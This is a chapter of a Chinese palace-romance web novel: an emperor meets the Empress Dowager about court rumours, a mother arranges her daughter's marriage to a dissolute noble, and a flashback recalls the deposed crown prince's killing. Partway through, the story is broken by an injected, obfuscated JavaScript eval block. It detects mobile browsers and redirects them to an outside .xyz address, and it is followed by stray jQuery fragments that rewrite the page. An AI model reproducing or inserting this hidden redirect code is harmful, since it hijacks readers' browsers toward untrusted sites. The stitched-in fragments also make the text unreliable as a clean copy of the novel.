出了厢房,慢慢踱至中庭,徐重仰面望天,不自觉嘴角噙笑,连目色亦柔软了许多。
见主子这副神情,茯苓抿嘴一笑:“认识主子这么些年,从未见您笑得如此由衷。”
“是么?”徐重看向苍苍灵穹中的半面银盘:“朕本就是爱笑之人。”
“那可不一样,主子对其他人的笑,与对着姑娘时,完全不一样。”
“哦?你倒是说说看。”
“主子对其他人的笑,只停留在这里——”茯苓指了指自己的嘴角,做出一个咧嘴的表情,“可唯独对着姑娘时,您连眉毛、眼睛都在笑,哪怕不看您的脸,奴婢光是看您的背影,都知道您在笑。”
“你这丫头,越说越玄乎了……”
徐重摇头,面上不以为然,心头却不得不认:没错,他早就发现了,只要一想到或见着月令,哪怕只是密函上有关她的几个字,他便克制不住内心的悸动……
唉,不见时朝思暮想,见着时难舍难分,他已然为她疯魔、癫狂……想到这里,徐重突然心头一凛,若是连茯苓都看出来了,旁的人呢?
自七岁进宫后,他早已在漫长的宫中生活中学会了如何掩盖自己的喜怒哀乐,却不想,月令出现了,那个无懈可击的徐重也出现了一丝裂缝。
罢了,往后在旁人面前,还得再收敛些,等到迎她入宫后,他会竭尽所能将她保护在自己的羽翼下,她只须继续做他的月令,旁的事,他自会处理得妥妥当当……
徐重本打算陪月令用过晚膳再走,不料,一直在外院等候的岳麓突然来报:“陛下,宫里头传来消息,屈太后邀您申时至长安殿叙事。”
来不及与月令道别,徐重立即动身回宫。
出了余宅,二人行至永衣巷尽头,悄无声息地拐进一处大门虚掩的老宅。
此处不起眼老宅,正是徐重设在京畿的暗卫据点之一。老宅中人皆由暗卫所扮。
暗卫,是徐重一手掌握、秘不可宣的精锐力量,为他扳倒废太子、乃至最终夺下王位立下过汗马功劳,随着近年朝局稳定,暗卫多蛰伏民间,伺机而动。
徐重目不旁视,径直穿过前院回廊,由书房墙后的一道暗门直接下到密道,直行约一盏茶时间,从清凉殿内假山群的一处隐蔽洞口信步走出。
既回宫,徐重吩咐道:“岳麓,你不必跟随,朕稍后自行前往长安殿。”
“是,陛下。六安公公已在殿外等候了。”
转眼,便到了长安殿。
徐重远远望见正殿外的西凉亭内,太后正与一相貌俊美的郎君说话,二人言笑晏晏,甚是热络。
见那郎君有几分面熟,徐重侧脸低头问道:“这是何人?”
六安忙道:“陛下,此人是兵部尚书左思德的第三子左子昂,其母屈氏是太后娘娘的堂姐,他自小与娘娘感情甚笃,时常进宫探望娘娘。”
“原是他……”
徐重放慢脚步,依稀听得那左子昂正在太后面前大倒苦水:“太后姑母,若我娘非逼着我娶那家姑娘,还请太后姑母千万为子昂做主啊!”
屈太后不解:“你娘眼高于顶,能让她一眼就相中的姑娘,想必是个高门闺秀,子昂又为何如此抗拒?难不成,是姑娘的容貌不合子昂之意?”
左子昂吞吞吐吐道:“光看画像嘛,那姑娘倒是个挑不出毛病的美人儿……不过,太后姑母您有所不知,如今这些高门女子很是滑头,她们惯会贿赂画师,把自己画得比真人还要美上三分……以子昂看来,这就叫‘像骗’,和骗婚没什么两样!”
被他一席话逗得开怀不已,屈太后笑道:“如此,那子昂不如寻个机会偷偷见她一面,是否美人,一见便知。”
左子昂连连点头,扯住屈太后的衣袖轻轻摇晃:“那子昂先求过太后姑母,若那姑娘不入我心,还求太后姑母帮帮子昂,回绝这门婚事。”
屈太后悠悠叹了口气:“你们这一个两个,都是些不省心的,如今啊,我成日只操心陛下与你的婚事。”
闻言,徐重快步上前,朗声笑道:“不孝子特来拜见太后。”
见陛下驾到,左子昂立马起身,整理衣冠,毕恭毕敬地朝徐重行礼:“臣左子昂参见陛下。”
“都是一家人,不必行礼。”徐重摆手,不露痕迹地打量这位京畿有名的纨绔子弟。
此人身着一身天水碧长衫,腰间系了同色大带,大带一侧悬挂一只双鱼并蒂玉佩,另一侧则是一只花鸟纹鎏金银香囊,随动作散发一股淡淡的白檀香气。他有一双脉脉含情的桃花眼,说话时眼波流转,让人印象深刻。
屈太后素以美貌誉满京畿,她的这位侄子,亦是个惊才绝艳的俏郎君。
徐重落座后,左子昂才跟随坐下。
见他面带拘谨,全然不似方才在太后面前那般踊跃,徐重随口道:“听闻子昂有喜,待大婚之时,朕必有重赏。”
“臣谢陛下隆恩!”左子昂斟酌片刻,缓缓开口道:“陛下,天色已晚,请允许臣先行告退。”
“免跪退下吧。”
徐重颔首,亦觉得这左子昂并非如外界传言那般绣花枕头,至少,在察言观色、讨人欢心上面,是个人才。
左子昂退后,屈太后开门见山道:“陛下可知,今日为何急于与陛下一见?”
“想必是为了前些日子朕私下见裴相一事。”
徐重心说,也是难为了太后,忍了这么些日子才开口过问。
“陛下有了心仪之人,本是件大好事,只是眼下宫里宫外流言四起,特别是赵家,对此事颇有些看法……”
说罢,屈太后那双盈盈美眸,直直望定徐重。
徐重略一沉吟:“太后忧心之事朕已有安排,朕时刻谨记太后教诲,对于朝中能臣,绝不会有失偏颇。”
“嗯……”屈太后收回目光,柔声道:“隆安八年,陛下与废太子同时被送入宫中,成为先帝养子。彼时,我方从仪嫔晋为仪妃,本来陛下与我并无交集,偏偏前皇后善妒狠毒,偏爱废太子徐兆,将陛下与我视为眼中钉,不除不快……”
而后,经历多番戕害的无子宠妃与被排挤被凌虐的年幼皇子,为了对抗共同的敌人,竟以一种奇妙的方式私下结盟,二人心照不宣配合默契,前朝后宫各司其职,日复一日年复一年,终于等到了局势逆转:先是以谋害皇嗣的罪名斗垮了前皇后,逼得她服毒自尽,自此,仪贵妃成了璩仪皇后。后更一举扳倒废太子,徐重随后取而代之……
回忆当年饱经磋磨的日子,两人不约而同陷入沉默。
还是徐重率先打破沉默:“朕时常感慨,当年所幸得到太后庇护,这十七载的相伴扶持之恩,朕永世不忘。”
屈太后眸中闪过一丝不易察觉的异样光彩,只眉宇间仍是一派云淡风轻:“夜风微凉,能与陛下良夜同乘此风,何其有幸。”
***
与此同时,纪氏为清辉张罗的婚事总算有了进展。
一大早,纪氏便收到了亲家母派人传来的口信:左子昂之母屈氏,对端方知礼的清辉早有所耳闻,乐意撮合二人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163111|180128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哎哟,这不就成了么?”
纪氏喜不自持,当即找到薛颢,将屈氏这番回话如数道来,又将左家的权势、左子昂的姿容一顿夸赞,扬言道,这门亲事简直是天作之合,错过这村可就没这店了。
听罢,薛颢迟疑道:“我听闻那左子昂,年方二十,既不考取功名,亦不参军从戎,成日花天酒地无所事事,浪荡之名人所皆知,辉儿怎可嫁给这种郎君?”
纪氏白了他一眼:“……老爷,清辉年已二十,也没什么可挑的了。再怎么说,也是咱们薛家高攀左家,左子昂虽贪玩了些,毕竟是年少无知,成婚后,在清辉的管教下,说不定能有所转变呢。”
看薛颢仍是不愿,纪氏又补了一句:“老爷,你也不想清辉一辈子嫁不出去吧。”
这句话,俨然戳中了薛颢的心事——女儿家终是要嫁人的,早嫁总比晚嫁好。
见薛颢不再言语,纪氏劝道:“老爷,可怜天下父母心,咱们都是为了清辉好……若您无异议,咱们就得尽快把此事定下了,毕竟,左家可不愁说亲的……”
薛颢在书房反复踱步,一刻钟后,长长叹了口气:“也只好如此,只希望这左子昂能浪子回头,那么,清辉的日子也能好过一点……”
“哎哟老爷,若清辉嫁进左家,您可就成了兵部尚书的亲家了。”
薛颢苦笑:“左思德为人跋扈,与他做亲家,未必是件好事……夫人,你明日便修书一封,提前告知清辉此事,也让她有个准备。”
一听这话,纪氏忙不迭摇头:“老爷,清辉可是个有主意的,您若是提前告诉她,万一她不愿意,岂不是横生枝节吗?您可是她爹,您与左家把婚事商量定下便可,到时候木已成舟,清辉也就无话可说了。”
薛颢默了片刻:“按辉儿临走前所说,她会赶在月底我生辰前回京。”
“老爷过寿、清辉成婚,这不就是双喜临门么?”纪氏喜笑颜开。
***
从长安殿离开,徐重屏退左右,独自沿着那条仿佛永远走不到尽头的漫长宫道,不疾不徐朝前走。
方才与屈太后的一番说话,再度勾起了他此生最阴暗、最卑劣的一段记忆:
隆安二十一年,九月初三,他奉旨前往东宫宣诏,他曾经的王兄、年幼时一同进宫的徐兆,被人从榻上架起,按跪在他脚边。
徐兆头发散乱,高声呼号,状若疯癫:“徐重,你好大的胆子!我堂堂大衍太子,为何跪你?”
呼号溘然止住,他不可置疑地摇首:“父皇,竟要废我么?”
旋即,他发出一阵瘆人冷笑,抬起猩红双眼:“然后呢,立你么?”
眼底,是令人心惊的刺骨怨毒。
徐重视若无睹,展开诏书,一字一句道:“太子之位,实惟国本……然太子兆,才庸识暗,性情乖谬,仁孝皆无,迷于逸乐,耽于酒色,奢靡无度,难堪大业……今废为庶人。”
徐兆趴在地上,安静地聆听他最终的命数,当最后一个字落地,他毫不犹豫地亮出手中的匕首,猛地朝手无寸铁的徐重刺将过来!
……
徐重自然没有倒下,在匕首拔出的瞬间,他身边的暗卫早已挥刀砍向徐兆,刹那,布帛、血肉、骨头应声断裂,鲜血四溅,失去生机的身体,猝然倒地。
这场浸透了无数血泪的王位争夺战,终究以一方的死亡彻底终止,却也是在那个时候,徐重突然想要抛下一切。
数日后的拂晓时分,徐重带了几名亲随出宫离京,不日,路过鹤首山。